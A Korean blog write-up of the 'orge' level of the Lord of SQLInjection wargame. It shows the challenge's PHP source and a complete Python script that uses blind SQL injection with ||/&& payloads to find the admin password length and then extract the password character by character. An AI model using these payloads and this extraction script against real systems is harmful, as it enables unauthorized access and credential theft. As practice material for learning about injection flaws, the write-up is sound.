7번째 문제인 orge다.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
highlight_file(__FILE__);
?>
지난 orc 문제와 비슷하게 첫번째 쿼리에서 admin 계정의 비밀번호를 알아내서 두번째 쿼리에서 인증하는 방식의 문제다.
역시 blind sqli을 활용해서 문제를 풀어야 할 것이다. 지난번처럼 substr()같은 함수를 사용해서 문자의 일부분을 확인, 비교하는 방식으로 풀 수 있다. 그러기전에 먼저 length(pw) < 0, length(pw) < 1, ... 같은 비교문을 통해 admin 계정의 비밀번호의 길이를 탐색하고 한자리씩 비교하면 될텐데 orc 문제와 별다른 차이점이 없기 때문에 그때 사용했던 코드를 조금 변형시켜서 아래와 같이 사용할 수 있다. 이번 문제에서는 아까 darkelf처럼 and, or이 필터링되기 때문에 &&, || 같은 연산자로 전달하면 된다.
import requests
password = ''
password_length = 0
URL = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': 'INSERT_YOUR_COOKIE_HERE'}
for estimated_length in range(100):
query={'pw': '\' || id=\'admin\' && length(pw) < '+str(estimated_length)+'#'}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text):
password_length = estimated_length - 1
print("admin's password length is {}".format(password_length))
break
if password_length < 1:
print("Password length unknown")
exit()
for current_password_length in range(1, password_length+1) :
for password_chr in range(ord('0'),ord('z')+1) :
query={'pw': '\' || substr(pw,1,'+str(current_password_length)+')=\''+password+chr(password_chr)+'\'#'}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text):
password=password+chr(password_chr)
print(password)
break
if len(password) == password_length:
print("Got it. Password is {} or {}.".format(password.upper(), password.lower()))
먼저 우리가 알아내야 하는 것은 admin 계정의 비밀번호 길이지 guest 계정이 아니기 때문에 다른 계정의 비밀번호 길이를 가져오지 않도록 "id='admin'"이라는 조건을 추가해준다. 그렇게 'for estimated_length in range(100)' 블록에서 "Hello admin"이라는 문자열을 얻을 때까지 파라미터를 바꿔가며 request해준다. 지금은 다른 문제를 풀다가 '='이 필터링되는 문제가 있어서 습관적으로 대소비교 연산자로 비밀번호 길이를 비교하고 있는데 이 문제에서는 '='을 사용해도 된다. 그 경우 'password_length = estimated_length - 1'은 'password_length = estimated_length'가 되어야 할 것이다.
비밀번호 길이를 얻었다면 그만큼 반복문을 돌려서 내부에서 이전처럼 영문자와 숫자 문자로 비교하기 위해 'for password_chr in range(ord('0'), ord('z')+1)' 블록으로 비교해준다. 이후 "substr(pw, 1, 1)='0'"처럼 비교해주는 구문을 작성하고 "Hello admin"이란 문자열을 얻을 때까지 비교한다. 이때는 깜빡하고 id가 admin인 조건을 빼먹었는데 결과적으로는 비밀번호를 찾을 수 있었으니 다행이지만 만약 guest 계정의 비밀번호 길이가 admin 계정과 동일하거나 비밀번호가 비슷(첫 글자가 같다던가)하다면 코드가 실패할 수 있으니 유의하자.
그래서 위의 코드를 돌려서 얻은 비밀번호를 입력하면 문제를 풀 수 있다.
이번 문제는 orc 문제와 거의 동일하지만 단지 연산자가 필터링됐을 뿐이다. 아마 이전 문제에서 and, or 연산자를 &&, ||으로 우회하는 방법을 배웠으니 blind sqli에서도 적용해보라는 의도인것 같다.
'챌린지 > los.rubiya.kr' 카테고리의 다른 글
Lord of SQLInjection - vampire (0) | 2020.12.30 |
---|---|
Lord of SQLInjection - troll (0) | 2020.12.28 |
Lord of SQLInjection - darkelf (0) | 2020.12.27 |
Lord of SQLInjection - wolfman (0) | 2020.12.22 |
Lord of SQLInjection - orc (0) | 2020.12.19 |